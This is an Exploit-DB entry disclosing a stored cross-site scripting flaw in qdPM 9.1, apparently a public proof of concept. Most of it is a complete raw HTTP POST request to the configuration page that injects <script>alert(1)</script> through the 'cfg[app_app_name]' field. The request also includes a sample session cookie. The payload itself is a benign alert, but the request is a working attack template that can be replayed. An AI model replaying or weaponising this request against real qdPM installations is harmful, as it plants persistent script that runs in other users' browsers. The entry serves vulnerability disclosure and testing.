Exploit-DB #48486
Description: qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-19
Author: Kishan Lal Choudhary

Exploit:
# Exploit Title: qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting 
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://qdpm.net
# Software Link: https://sourceforge.net/projects/qdpm/
# Version: 9.1
# Tested on: Windows 10

Description: The form parameter 'cfg[app_app_name]' is vulnerable to stored cross site scripting
Payload: <script>alert(1)</script>


POST /index.php/configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 1881
Origin: http://localhost/
DNT: 1
Connection: close
Referer: http://localhost/index.php/configuration?type=general
Cookie: qdPM8=c14e5521818ec7a0c8bbc3099a96b94a
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="type"

general
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_administrator_email]"

admin@localhost.com
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_administrator_password]"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_app_name]"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_app_short_name]"

qdPM
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg_app_app_logo_file"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_app_logo]"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[sf_default_timezone]"

America/New_York
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[sf_default_culture]"

ar
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_rows_per_page]"

25
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_rows_limit]"

1000
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_custom_short_date_format]"

d M Y
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="cfg[app_custom_logn_date_format]"

d M Y H:i
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--